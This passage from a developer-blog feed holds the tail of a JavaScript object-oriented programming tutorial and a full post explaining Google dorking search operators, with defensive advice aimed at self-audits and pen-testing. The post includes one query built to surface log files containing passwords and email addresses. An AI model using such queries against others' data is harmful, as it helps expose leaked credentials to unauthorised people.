&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;//this is private variable&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;dob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;17/06/2002&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;//public properties and functions&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;18&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ben&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;getDob&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dob&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;pobj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;//this will get undefined&lt;/span&gt;
&lt;span class="c1"&gt;//because it is private to Person&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pobj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dob&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//Will get dob value we using public&lt;/span&gt;
&lt;span class="c1"&gt;//funtion to get private data&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pobj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDob&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wrapping up of public and private data into a single data unit is called &lt;strong&gt;Encapsulation&lt;/strong&gt;. The above example is the one that best suites Encapsulation.&lt;/p&gt;

&lt;h4&gt;
  
  
  6) Abstraction
&lt;/h4&gt;

&lt;p&gt;Abstraction means hiding the inner implementation details and showing only outer details. To understand Abstraction we need to understand &lt;strong&gt;Abstract&lt;/strong&gt; and &lt;strong&gt;Interface&lt;/strong&gt; concepts from Java. But we don’t have any direct Abstract or Interface in JS. Ok! now in order to understand abstraction in JavaScript lets takes an example from JavaScript library Jquery. In Jquery we will use&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#ele&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to select select an element with id &lt;code&gt;ele&lt;/code&gt; on a web page. Actually this code calls negative JavaScript code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ele&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But we don’t need to know that we can happy use the &lt;code&gt;$("#ele")&lt;/code&gt; without knowing the inner details of the implementation.&lt;/p&gt;

&lt;h4&gt;
  
  
  7) Polymorphism
&lt;/h4&gt;

&lt;p&gt;The word Polymorphism in OOPs means having more than one form. In JavaScript an Object, Property, Method can have more than one form. Polymorphism is a very cool feature for dynamic binding or late binding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;//This will create Student Class&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hi! I am a Student&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="c1"&gt;//This will create Teacher Object&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Teacher&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="nx"&gt;Teacher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;Teacher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHI&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hi! I am a Teacher&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;//This will check if the student&lt;/span&gt;
&lt;span class="c1"&gt;//object is instance of Person or not&lt;/span&gt;
&lt;span class="c1"&gt;//if not it won't execute our alert code.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sObj&lt;/span&gt; &lt;span class="k"&gt;instanceof&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hurry! JavaScript supports OOps&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;JavaScript supports Object Oriented Programming(OOP)Concepts. But it may not be the direct way. We need to create some simulation for some concepts.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>programming</category>
    </item>
    <item>
      <title>[Cybersecurity] What is Google Dorking?</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Mon, 28 Jun 2021 11:33:37 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/cybersecurity-what-is-google-dorking-58id</link>
      <guid>https://dev.to/yumatsushima07/cybersecurity-what-is-google-dorking-58id</guid>
      <description>&lt;p&gt;Whenever you want to look for something on the Internet, you use Google. The giant search engine indexes almost everything on the web. It has made billions of web pages accessible for people to find. And so, by using it, you would have a greater chance of finding whatever you are searching for.&lt;/p&gt;

&lt;p&gt;However, within the large sea of indexed web content and public data, pieces of sensitive information can sometimes find themselves landing on search results. And frequently, this happens without their owners realising it.&lt;/p&gt;

&lt;p&gt;A malicious hacker, by performing a technique called &lt;strong&gt;Google Dorking&lt;/strong&gt; (or &lt;strong&gt;Google Hacking&lt;/strong&gt;), can get their hands on this supposedly hidden content.&lt;/p&gt;

&lt;p&gt;If you are not familiar with &lt;strong&gt;Google Dorks&lt;/strong&gt;, don’t worry. In this post, I will explain what they are and how you can use them. I will also provide you with examples of how hackers employ them to access sensitive content. And finally, I will share with you a few best practices of how to protect yourself against them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before we go any further, I would like to remind you that accessing any information to which we are unauthorized is considered illegal in many jurisdictions. The primary focus of this article is to help you identify and clear any leaking information you might have. It also aims to assist you through the reconnaissance phase of your pen-testing projects. I do not encourage any other malicious use.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What are Google Dorks?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Google Dorks&lt;/strong&gt; are search queries specially crafted by hackers to retrieve sensitive information that is not readily available to the average user. The technique of searching using these search strings is called &lt;strong&gt;Google Dorking&lt;/strong&gt;, or &lt;strong&gt;Google Hacking&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The Google search box can act similarly to a command-line or an interpreter when provided with the right queries. In other words, there are certain keywords, and operators, that have special meaning to Google.&lt;/p&gt;

&lt;p&gt;Users can employ these operators to help them find relevant results to their search queries in a short amount of time.&lt;/p&gt;

&lt;p&gt;On the other hand, hackers can also take advantage of these operators to retrieve files containing passwords, lists of emails, log files, and many more.&lt;/p&gt;

&lt;p&gt;The following example is a google dork query that returns log files containing passwords with email addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;filetype:log intext:password intext:(@gmail.com | @yahoo.com | @hotmail.com)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;By the end of this article, you will be able to write similar queries.&lt;/p&gt;
&lt;h2&gt;
  
  
  Commands and Operators
&lt;/h2&gt;

&lt;p&gt;Operators are the building blocks of Google dorks. Therefore, we will address them here first before we can write full dork queries.&lt;/p&gt;

&lt;p&gt;Here is a list of the most common operators that you need to know:&lt;/p&gt;
&lt;h3&gt;
  
  
  Alternative Keywords
&lt;/h3&gt;

&lt;p&gt;If you use the operator &lt;code&gt;OR (or |)&lt;/code&gt; between two keywords or more, then the search results will return pages that contain matches to at least one of the keywords.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;google OR bing OR duckduckgo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Matching All Keywords
&lt;/h3&gt;

&lt;p&gt;Using the operator &lt;strong&gt;AND&lt;/strong&gt; between two keywords or more forces the search engine to return results relevant to all provided keywords.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Samsung AND Apple
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  An Exact Match
&lt;/h3&gt;

&lt;p&gt;Enclosing the search terms in &lt;strong&gt;double-quotes&lt;/strong&gt; (“search string”) returns only webpages that contain an exact match of the string.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For example, if you search for the following :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Google Dorks Explained"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Only pages that contain that same string will be returned. And so, pages that contain “Explained Google Dorks", or “Google Hacking using dorks explained” will not be matched.&lt;/p&gt;
&lt;h3&gt;
  
  
  Searching on a Specific Site
&lt;/h3&gt;

&lt;p&gt;The operator &lt;code&gt;“site: ”&lt;/code&gt; limits the search to the specified website.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux site:Wikipedia.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This query will only return web pages from Wikipedia that are relevant to the keyword Linux.&lt;/p&gt;
&lt;h3&gt;
  
  
  Excluding a Keyword
&lt;/h3&gt;

&lt;p&gt;If you use the operator &lt;code&gt;‘–‘&lt;/code&gt; followed by a keyword, then this keyword is excluded from the results.&lt;/p&gt;

&lt;p&gt;If we apply this operator to the previous example, then we will have the complete opposite results.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linux -site:Wikipedia.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The above query will exclude the Wikipedia site from the results.&lt;/p&gt;
&lt;h3&gt;
  
  
  Wildcards
&lt;/h3&gt;

&lt;p&gt;The asterisk operator &lt;code&gt;‘*‘&lt;/code&gt; is used as a wildcard and can match any word or group of words. This operator can be very useful when combined with the double quotes operator.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"username * password"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This example returns pages that contain the word username, followed by a group of words, which are then followed by the word password.&lt;/p&gt;
&lt;h3&gt;
  
  
  Grouping Keywords
&lt;/h3&gt;

&lt;p&gt;The real power of google operators arises from how you can combine them to form complex queries. In such cases, the use of &lt;strong&gt;brackets&lt;/strong&gt; is necessary to determine which operator has the highest priority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you remember some basics from your math class, then you won’t have a problem understanding the following example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"google (dorks OR dorking OR hacking)" AND (explained OR tutorial OR guide)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Keywords in URLs
&lt;/h3&gt;

&lt;p&gt;If you want Google to show only pages containing the search terms in their URL, then you can use the operator &lt;code&gt;“inurl:“&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For instance, the following query will return any page that contain the word admin in its url:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;inurl:admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Although this query on its own might return millions of pages ⁠— most of which are irrelevant ⁠— you can still filter out the results by using additional commands. For instance, if you limit the search to your website, you can verify if you have an exposed admin folder that you should worry about.&lt;/p&gt;
&lt;h3&gt;
  
  
  Keywords on the page
&lt;/h3&gt;

&lt;p&gt;The command &lt;code&gt;“intext:”&lt;/code&gt; returns pages containing the search term in their content.&lt;/p&gt;
&lt;h3&gt;
  
  
  Keywords in the title
&lt;/h3&gt;

&lt;p&gt;The command &lt;code&gt;“intitle:”&lt;/code&gt; returns pages that contain the terms of the search in their title, not their content.&lt;/p&gt;
&lt;h3&gt;
  
  
  File extension
&lt;/h3&gt;

&lt;p&gt;When using the command &lt;code&gt;“filetype:“&lt;/code&gt;, you force Google to only return pages that have a certain extension.&lt;/p&gt;

&lt;p&gt;In the example below, Google will return only PDF files that contain the words &lt;code&gt;“budget report”&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Budget report" filetype:pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Search in Cache
&lt;/h3&gt;

&lt;p&gt;Google stores a copy of almost every page it visits. These copies can sometimes come in handy, especially if the original web page is no longer available or is too slow to respond.&lt;/p&gt;

&lt;p&gt;If you want to search in Google’s cache for a previous version of a page, you can use the command &lt;code&gt;“cache:“&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cache:en.wikipedia.org/wiki/Linux
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Defend Yourself Against Google Dorks
&lt;/h2&gt;

&lt;p&gt;Now that you know how dangerous Google dorks can be, you’re probably wondering how you can protect yourself, or your website, against them.&lt;/p&gt;

&lt;p&gt;First of all, you should put yourself in the position of an attacker and try using google dorks against yourself. If you find something in the search results that shouldn’t be there, then you can fix this problem by following these good practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You can create a file called &lt;code&gt;“robots.txt”&lt;/code&gt; in your directory, and specify to search engine robots which directories or files they should not index.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For sensitive pages, you should include meta tags in your Html code header with Noindex and Nofollow values.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You should always password-protect your directories.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Never store a password in plaintext. Instead, use salted hashes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sitedigger is a tool that you can use to help you find vulnerabilities and sensitive data from your site that is exposed through Google results.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if you do not have a webserver connected to the Internet, you still might not be as safe from Google Dorking as you might think you are.&lt;/p&gt;

&lt;p&gt;You can still find your personal information readily accessible from Google Search.&lt;/p&gt;

&lt;p&gt;I invite you to apply what we’ve learned in this post to identify if you have any leaked personal information. And if you find any, you should notify the proper entity so that they can take the necessary steps to remediate that.&lt;/p&gt;

&lt;p&gt;Thanks for reading. If you want more tutorials like this you may comment bellow!&lt;/p&gt;
&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
